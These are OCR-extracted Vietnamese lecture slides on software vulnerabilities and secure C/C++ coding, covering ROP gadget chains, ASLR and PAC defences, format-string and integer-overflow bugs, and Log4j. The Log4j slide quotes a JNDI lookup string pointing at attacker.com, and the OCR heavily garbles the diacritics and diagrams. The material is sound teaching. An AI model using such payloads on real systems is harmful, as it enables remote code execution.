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Return-oriented programming (ROP)

- Thay vi thyc thi toan bé mot ham, c6 thé thwe thi cac
manh cla cac ham dwoc dat & cac vi tri khac nhau.
~Khong can EIP phéi nhay toi dau ham ma chi can nhay t6i vi tri &
gilPa ham ma cé doan ma can thyc hién
- Gadget: mgt doan ma nhé chra cac lénh da dwoc nap
vao trong bd nho:
> Thuwéng két thuc béi 1énh ret
»Khéng phai la mét ham day du
- Chién thuat ctia ROP: ghi d& mot chudi cac gia tri tra vé,
bat diu & 6 nhé chira gia tri RIP
~MB@i gia tri tra vé tré téi 1 gadget
»Gadget thye thi va két thic véi mot lénh ret

»Lénh ret thue thi khién cho EIP nhay téi gadget tiép theo
69

69
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ROP — Vi du

- Gia st shellcode can thwc hién 2
[énh sau:

mov $1, %eax
Xor %eax, %ebx

- C4c |énh nay ndm trong 2 ham d3
dwoc nap vao bd nhé:

RIP cua main

SFP cua main

foo:

RIP cua vulnerable
<foo+7> add $4, %esp SFP cua vulnerable
<foo+10> xor %eax, %ebx name

<foo+12> ret
name

bar: name

. name
<bar+22> and $1, %edx name
<bar+25> mov $1, %eax
<bar+30> ret

&name (tham sé cia gets)
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ROP -Vid
I au
foo:
add $4, sesp
xXor %eax, %ebx
ret
bar
and $1, %edx
mov $1, %eax
ret
void vulnerable (void)
{ vulnerable:
char name[20];
gets (name) ; EIP+—> call gets
} add $4, sesp
mov %ebp, %esp RIP ciéia vulnerable
int main(void) { pop %ebp -
vulnerable() ; ret EBP — SFP cua vulnerable
return 0;
} main: name
co name
call vulnerable
name
name
name
ESP —| &name (tham s cta gets)
7
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ROP — Vi du

foo:
add $4, %esp
xor %eax, %ebx
ret

bar
and $1, %edx
mov $1, %eax
ret

void vulnerable (void)

{ vulnerable:

char name[20]; s
gets (name) ; call gets

} EIP—— add $4, %esp
mov %ebp, %esp [address of <bar+25>]

int main(void) { pop %ebp

vulnerable () ; ret EBP —» '"AAAA'
return 0;

) main: '"AAAA'
e VAAAA'
call vulnerable

'"AAAA'
'"AAAA'
'"AAAA'

ESP —*| &name (tham sé ctia gets)
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ROP —Vidu

foo:

add $4, %esp

xor %eax, %ebx

ret

bar [ROP chain address]
and $1, %edx [ROP chain address]
1, % O

'::: ? eax [ROP chain address]
void vulnerable (void) N b1 [ROP chain address]
{ vulnerable: :

char name[20]; 11 [ROP chain address]
. t
) gets (name) ; ::d Je :esp — [address of <foo+10>]
int main(void) { ‘;z; Z:til ¥esp ESp —>| [address of <bar+25>]
int main(voi:
vulnerable () ; EIP—— ret EBP —| 'AAAA'
return 0; ' '
) main: ARAAA
. TAAAA'
call vulnerable
'ARAR’
'ARAR’
'ARAR’
&name (tham sé cia gets)
73
73
ROP -Vid
foo:

add $4, %esp

xXor %eax, %ebx

ret

bar [ROP chain address]
and $1, %edx [ROP chain address]
EIP-{— 1, % a—

'::: ¢ eax [ROP chain address]
void vulnerable (void) . b1 [ROP chain address]
{ vulneral e: N

char name[20]; 11 [ROP chain address]
. t
N gets (name) ; ::d $Ee :esp ESp | [address of <foo+10>]
mov %ebp, %esp [address of <bar+25>]
int main(void) { pop %ebp : :
vulnerable() ; ret EBP — AAAA
return 0;
} main: '"AAAA'
S TARAA'
call vulnerable
'AAAA'
'AAAR'
'AAAR'

&name (tham sé cia gets)
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ROP —Vidu

foo:

Lénh ret luon lay ra add $4, %esp
gia tri & dinh stack va EIP1— =xor %eax, %ebx
ganchocontrd EIP,do | 1~ *°*

dé con tré nay di
chuyén theo chudi dia o
chi da dwoc nap vao and $1, %edx [ROP chain address]
mov $1, %eax

bar: [ROP chain address]

ret [ROP chain address]
void vulnerable (void) [ROP chain address]
{ vulnerable:
char name[20]; ESP — [ROP chain address]
gets (name) ; call gets |
, add $4, %esp [address of <foo+10>]
mov ZeEP' %esp [address of <bar+25>]
int main(void) { pop ‘tsebp
vulnerable() ; ret EBP —| 'AAAR’
return 0;
) main: '"AAAA’
. TAAAA'
call vulnerable
'"AAAA'
'ARAA’
'"AAAA'

&name (tham sé cia gets)
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Buffer Overflow — Phong chong

- Ma xac thuc con tro(PAC - Pointer Authentication Code)

- BO xtr ly 64-bit: str dung con tré cé kich thwéc 64 bit
»Binh dia chi dwoc cho 254 6 nhé ~ 18 ti GB
»Céc hé thdng may tinh hién dai: chi can tbi da 42 bit dé dinh dia chi
86 bit khéng duwoc str dung: 22 bit

- PAC dwoc gan cho 22 bit khéng dwoc str dung:
» S dung céc thuat toan dé sinh PAC tir gia tri bi mat do CPU sinh
»Céc chwong trinh khéng thé truy cap gia tri bi mat nay

- D3 dwoc trién khai trén kién trac ARM v8.3
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Buffer Overflow — Phong chong
- Address Space Layout Randomization(ASLR)
OXEEEEEFEE
N 0%xc0000000
Thiét lap khi tién trinh— || emdiine & env
bat dau Stack
Thay ddi khi thyc Nap vao véi dja chi
thi f | bat dau ciia moi
Heap vung la ngau nhién
Xac dinh & thoi 259
diém bién dich Data
Kho ian dia chi Text -
6ng gian dia chi
cla thiét bi vao-ra { Unused 0x08048000
0x00000000 77

77

]
ASLR

- Address Space Layout Randomization(ASLR): dat moi
vung nhé vao mét dia chi khac nhau mai lan chwong trinh
chay:

»Keé tan cong khong thé biét dwoc vi tri clia shellcode vi dia chi thay
ddi méi lan chwong trinh chay

- ASLR xao trén vi tri cia cac vung nh&

~Dat ngau nhién ving nho stack: Khoéng thé thuc thi shellcode trong
vung nhé stack ma khéng biét dia chi cla stack

»Dat ngau nhién ving nhé heap: Khoéng thé thuc thi shellcode trong
vung nhé heap ma khong biét dia chi clia heap

~Dat ngau nhién ving nho code: Khong thé xay dung chudi dia chi
cla ROP hoac tan cong return-to-libc ma khong biét dia chi cta
code
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ASLR — Han ché

- Gia tri RIP luon nam & 4 byte phia trén SFP
»Néu chwong trinh ¢6 16 hdng xau dinh dang, gia tri cia SFP cé thé
bi 10
->L6 dia chi con trd stack
->L6 dia chi RIP, con trd vtable, con trd ham...

- Poan dia chi cta shellcode
»Trong bd nhé phan trang, méi trang nhé ¢o kich thuwdc 4KB ~ 12
bit dia chi
S bit cAn doan trén hé thdng 32 bit: 32 — 12 = 20 bit
S bit cAn doan trén hé thdng 64 bit, v&i dia chi la 48 bit: 48 — 12 =
36 bit

79
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Két hop céc ky thuat phong chdng

- Tai sao?
» Céc ky thuat c6 thé cong huwéng dé tang hiéu qua 1an nhau
»Buoc ké tAn cong phai tim ra nhiéu 16 héng dé khai thac thanh cong
~Ba&o vé theo chiéu sau
- Vi du: két hop ASLR va non-executable pages
»Khéng thé str dung ma thuc thi cé sén trong bo nhé
»Khéng thé str dung shellcode ghi vao stack
- D& vuot qua dong thoi hai ky thuat phong chdng:
(1) Céan tim cach dé phat 16 dia chi ctia ving nhé
(2) Tim cach dé ghi chudi dia chi trd v& ROP vao bd nhé&
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Két hop phong chdng: Apple iOS

- Cac ky thuat bao vé bd nhé trén Apple iOS:
»ASLR st dung cho (ng dung va nhan hé diéu hanh
»Non-executable pages dwoc st dung bat ky vi tri nao c6 thé
»Mbi rng dung dwoc thye thi trong mét ving sandbox
- Ky thuat khai thac “dinh ba”(trident exploit)
»Puwoc phat trién béi cong ty NSO (Isreal)
»Khai thac 16 hdng cla trinh duyét Safari dé thuc thi ma doc trong
sandbox
~Khai thac 16 héng khac dé doc dwoc viing nhé stack clia nhan hé
diéu hanh
»Khai thac 16 hdng trong hé diéu hanh dé thuwc thi ma doc

81
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Kich hoat phong chong

- Phan 16n ky thuat phong chdng rat hiéu qua va khéng anh
hwéng dang ké toi hiéu nang

- Cac ky thuat cé thé mac dinh duwoc kich hoat hodc khéng

- Khi cac ky thuat khéng dwec kich hoat mac dinh thi mac
dinh nay thwong dwoc str dung > ké tan cong dé dang
khai thac hon
»Vi du: Cisco ASA bj khai thac b&i cong cu EXTRABACON cuiia NSA
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3. MOT SO LO HONG PHAN MEM KHAC

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

83
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L6 héng xau dinh dang

- Format String: Xau dinh dang vao ra di liéu
- L8 héng Format String: xau dinh dang khéng phu hop voi

danh sach tham s6 printf(char * fmt, [value list])
“Vidu [0 fune )
{
char buf[32];
if (fgets (buf, sizeof (buf),stdin) == NULL)
return;

printf (buf); //Sta: printf (“%s”, buf);
}

%ebp  %eip  &fmt  [value list]

printf’s stack frame / Caller’s stack
printf(“%d”); —— gy frame g4
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L& héng xau dinh dang: Vi du

- Doc di¥ liéu nhay cam

char buf[64];
Input: $d%s

void vulnerable (void) {
char *secret_string = "secret";
int secret number = 42;
if (fgets(buf, 64, stdin) == NULL)
return; &buf [arg to printf]|arg0
printf (buf) ; RIP of printf

SFP of printf

arg2

arg1

n e . intf £
V6i dbi sb truyén vao, ham printf ("%dss") dwoc [printf frame]

thwe thi. printf nhan ddi s6 arg0, va thdy cé 2 ky tw dinh

dang, vi vay sé “tréng cho” thém 2 déi sb arg1 va arg2 No oo
u
g | ar | s | s
L »| 'e’ g "\O'|'\O"'
Output: 1= | i@ | var | et
42secret z b € s
85
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L6 héng xau dinh dang

- buf = “%d” > thwc thi Iénh printf(“%d”);

»~Hién thi 4 byte phia trwéc dia chi dau tién cla stack frame ctia ham
printf

- buf = “%s” = thyc thi 1énh printf(“%s”);
»~Hién thi cac byte cho t&i khi gap ky tw két thic xau
- buf = “%d%d%d...” > thwc thi printf(“%d%d%d...”)
»Hién thi chudi byte dwéi dang sb nguyén
. printf(“°/ox°/ox‘Vox. . .”)
»~Hién thi chudi byte dwéi dang hexa
- printf(“...%n"):
~Ghi sb byte da hién thj vao vung nh¢
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L6 hdng xau dinh dang: Ghi dé

printf(char * fmt, [value list])

%ebp  %eip  %s 11 %ebp %eip args
printf’s stack frame [value list] Caller’s stack
. m:mhém frame
C6 16i printf(“Hello World%n”);
Khong c6 [0 Format string
printf(“Hello World%n”, n);
%ebp  %eip w11 %ebp %eip args
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L6 hong tran sG nguyén

- Trong may tinh, sb nguyén duoc biéu dién bang truc sé
tron. Dai biéu dién:
»S6 nguyén c6 diu: [-2n-1, 201 - 1]
»S6 nguyén khong dau: [0, 20 — 1]

- Integer Overflow: Bién sb nguyén ctia chwong trinh nhan
mot gia tri nam ngoai dai biéu dién. Vi du
»S6 nguyén cé dau: 0x7ff..f + 1 = 0x80..0,
»Sb6 nguyén khong dau: Oxff..f + 1 = 0x0, 0x0 — 1 = Oxff...f

- Ngén ngt¥ bi anh hwéng: Tat ca

- Viéc khong kiém soat hién twong tran sb nguyén co thé
dan dén cac truy cap cac ving nhéd ma khong thé kiém
soat.
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L6 héng tran sd nguyén — Vi du 1

- L6 hdng nam & dau?

#define MAX 1024
void vul funcl ()
{
char buff[1024];
int len = recv_len_ from client();//len is length of
//message from client
char *mess = recv mess from client();
if (len > 1024)
printf (“Too large”);
else memcpy(void* dst, void* src, unsigned int size)

memcpy (buff, mess, len);

len = -1 = Oxffffffff < 1024

memcpy (buff, mess, Oxffffffff) > buffer overflow
89
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L& hdng tran s6 nguyén — Vi du 2

- L6 hdng nam & dau?

int main ()

{ , void * malloc(unsigned int size)
int *arr;
int len;
printf (“Number of items: ”); scanf (“%d”, &len);
arr = (int *) malloc(len * sizeof (int));
for(int 1 = 0; 1 < len; i++)

scanf (“%d”, arr[il]l);

return O;

}

Khi nao thi viing nhé c6 kich thuéc 4*n khdng dd chd chira cho n phan tir sb nguyén?
Co xay ra 4*n = 0 khi n#0?

n = 0100 0000 0000 0000 = 0x4000

4*n = 0x0000
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L6 hong serialization

- Serialization: co ché ctia ngdn ngt lap trinh cho phép
chuyen mét doi twgng bat ky thanh mét file hoac luong
byte vao ra

> File ho&c lubng byte c6 thé duwoc chuyén cho mét chwong trinh
khac st dung.

» Deserialization: Thwc hién chuyén nguoc lai
~Phé bién trong nhiéu ngdn ngii: Java, C#, Python

- Khéng kiém soat file/lubng byte dau vao khi
deserialization 1a mét 16 hdng ctia chuong trinh

»Ké tan cong c6 thé dwa di liéu doc hai va chuong trinh thye thi ma
déc

91

91

]
L6 hong serialization: Log4j

- Log4j 1a Java framework phd bién nhat d& ghi théng tin
nhat ky cda rng dung

- Log4j str dung JNDI (Java Naming & Directory Interface)
dé 14y dir liéu tir Internet

- Log4j phan tich ci phap ctia xau diu vao chiva ndi dung
nhat ky ma &ng dung tao ra

- L& hdng trong Log4j duwoc cdng bd vao thang 11/2021
» M6t trong nhirng 16 hdng nguy hiém nhét trong 10 ndm
» Gia sty Log4j nhan dwoc xau ${jndi:1ldap://attacker.com/pwnage}
»Log4j thwe hién deserialze dbi twong lay duoc tlr attacker . com
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4. LAP TRINH AN TOAN

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi
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Ngon nglr khdng an toan va an toan

- Ngén ngi¥ an toan véi bd nhé(memory-safe) dworc thiét
ké dé tw dong kiém tra bién truy cap va ngan can céc truy
cap khéng hop 1€

->ngén chan duwoc toan bo 16 hdng truy cap bd nhé

- Vi du: Java, C#, Python, Go, Rust

- Tai sao ngbn ngir khéng an toan v&i bé nhé nhw C/C++
van duwoc sir dung

»>Nguyén phén thwong dwoc dé cap: hiéu nang cta chwong trinh
C/C++ tot hon

¥ Vi dy: thu héi bd nhé véi C/C++ gan nhw ngay 1ap tirc, voi cac ngon
nglr khac thi thdi gian thu hdi khéng xac dinh(cé thé 10 — 100ms)
»Nguyén nhan thwc té: phan Ién cac hé théng ban dau duoc viét

bang ngdn ngir C
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“Giai thoai” vé hiéu nang

- Trwde kia, cdn danh dbi gitra an toan va hiéu nang khi so
sanh cac ngdn nglr l1ap trinh

- Hién tai, phan I&n cac ngén ngir an toan cho bd nhé cé
hiéu nang twong dwong so véi C
»Vi du: Go va Rust
~Ngoai 1&: hé diéu hanh, games hiéu nang cao, phan mém nhing

- Cac ngon nglr an toan cho bd nhé “cham hon” cling
dwoc cam thém cac thuw vién viét bang C dé cai thién hiéu
nang
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Lap trinh an toan

- Yéu cau: Viét ma ngudn chwong trinh dé dat dwoc cac
muc tiéu an toan bao mat
- Bao gébm nhiéu k¥ thuat khac nhau:
»Kiém soat gia tri dau vao
»Kiém soat truy cap bd nhé chinh
»Che gidu ma ngudn
»Chbng dich ngwoc
»Kiém soat két qua dau ra
»Kiém soat quyén truy cap
- Bai nay chi dé cap dén moét sé quy tdc va nhan manh vao
van dé truy cap bd nhéd mét cach an toan
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An toan truy cap bé nho

- An toan khong gian(Spatial safety): thao tac chi nén truy
cap vao dung vung nhé da xac dinh
- Néu goi:
~b: dia chi 6 nhé dau tién cta vung nhé dwoc chira
»p: dia chi can truy cap toi
~e: dia chi 6 nhé cubi cung clia ving nhé dwoc chira
»s: kich thwé'c viing nhé ma con tré p truy cap toi
- Thao tac truy cap bd nhé chi an toan khi va chi khi:
b<p<e-s
- Lwu y: Céc toan tlr tac dong trén p khong lam thay déi b
va e.
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An toan khéng gian — Vi du

x(chiém 4 byte): RO JETINICTIN IO ST s
y z

int x = 0; b

<Spse-s
int *y = &x; // b=8, e =8 +4, s =4
int *z =y +1; // b =8&x, e = & + 4, s = 4
*y = 10; //0K: & < p = & < (& + 4) - 4
*z = 10; //Fail: & < p =& + 1 £ (& + 4) - 4

char str[10]; //b = &str, e = &str + 10
str[5] = 'A'; //OK: &str < p = &str + 5 < (&str + 10) - 1
str[10] = 'F'; //Fail: &str < p = &str + 10 ¢ (&str + 10) - 1

- LGi truy cap khong an toan vé khong gian gay ra céc 16
héng nhw d3 biét
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An toan truy cap bé nho

- An toan thoi gian(): thao tac chi truy cap vao vung nh¢ da
dwoc kh&i tao:
~Da cép phat bd nhé
»Da dwoc khéi tao gia tri
- Vi du: Vi pham an toan vé thei gian

int n;

printf("%d", n); // Fail

intm=n + 1;

if (n)..

int *p;

*p = 0; // Fail

p = (int *) malloc(sizeof(int));

*p = 0 // 0K

free(p);

p = 0; //Tai sao thao tac nay la can thiét?

99

int x = 5;

int *p;

p = (int *) malloc(sizeof(int));
*p = 0; // OK
free(p);

int **q = malloc(sizeof(int*)); //q c6 thé s& dugc cap phat
//vung nhé vira dugc gidi phéng

*q = &x;

*p = 10;

[|**q = 5; //runtime error |

O nho cé dia chila 10

stack heap
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Piéu kién truy cap bd nho

- Tién diéu kién(precondition): diéu kién dé cau lIénh/ham

dwoc thye thi dung dan
- Hau dieéu kién(postcondition): khéng dinh trang thai dung

dan cta cac doi tweong khi lénh/ham két thuc
- Vi du: Xac dinh cac diéu kién truy cap bé nh¢
void displayArr(int a[], int n)
{

for(int 1 = 0; 1 < n; i += 2){
printf (“%d”, alil);}

}

- Tién diéu kién: n <= a.size(), a != null
- Hau diéu kién:i<n
Cafil~a+i
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Céc nguyén tac lap trinh an toan

- Khéng tin cay nhirng thtr ma khéng do ban tao ra
- Ngwdi dung chi la nhivng ké ngbc nghéch

»Ham goi (Caller) = Ngwoi dung
* Han ché cho keé khéc tiép can nhirng gi quan trong. Vi du:

thanh phan bén trong ciia mét cau tric/doi twong

»Ngoén nglr OOP: nguyén ly déng goi

»>Ngo6n nglr non-OOP: s dung token
- Khéng bao gi& néi “khéng bao gid”
- Sau day sé& dé cap dén mot sé quy tac trong C/C++
- V& chu dé Iap trinh an toan, tham khao tai day:
https://security.berkeley.edu/secure-coding-practice-
guidelines
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Kiém tra moi di¥ liéu dau vao

- Cac gia tri do nguwdi dung nhap

- File dwogc m&

- Cac goi tin nhan dwgc tr mang

- Céac d¥ liéu thu nhan tir thiét bi cdm bién (Vi du:
QR code, am thanh, hinh anh,...)

- Thw vién cta bén thir 3

- Ma nguén dwoc cap nhat

-Khac...
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S dung cac ham xtr ly xau an toan

- Str dung cac ham xtr ly xau an toan thay cho cac
ham théng dung
~strcat, strncat > stricat
~strepy, strncpy = stricpy
~gets - fgets, fprintf

- Luén dadm bao xau dwoc két thuc bang \0’

- Néu cé thé, hay sir dung cac thw vién an toan
hon
~Vi du: std::string trong C++
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St dung con tré mét cach an toan

- Hiéu biét vé cac toan tt con trd: +, -, sizeof
- Céan xoa con trd vé NULL sau khi gidi phong bd nhé

int x = 5;

int *p = (int *)malloc(sizeof(int));
free(p);

p = NULL;

int **q = (int **)malloc(sizeof(int*));
*q = &x;

*p = 5; //Crash 2> 0K

**q = 3;

105

105

St dung cac thw vién an toan hon

- Nén sr dung chuan C/C++11 thay cho cac chuan cil

- St dung std::string trong C++ dé xtr ly xau

- Truyén di¥ liéu qua mang: st dung Google Protocol
Buffers hoac Apache Thrift
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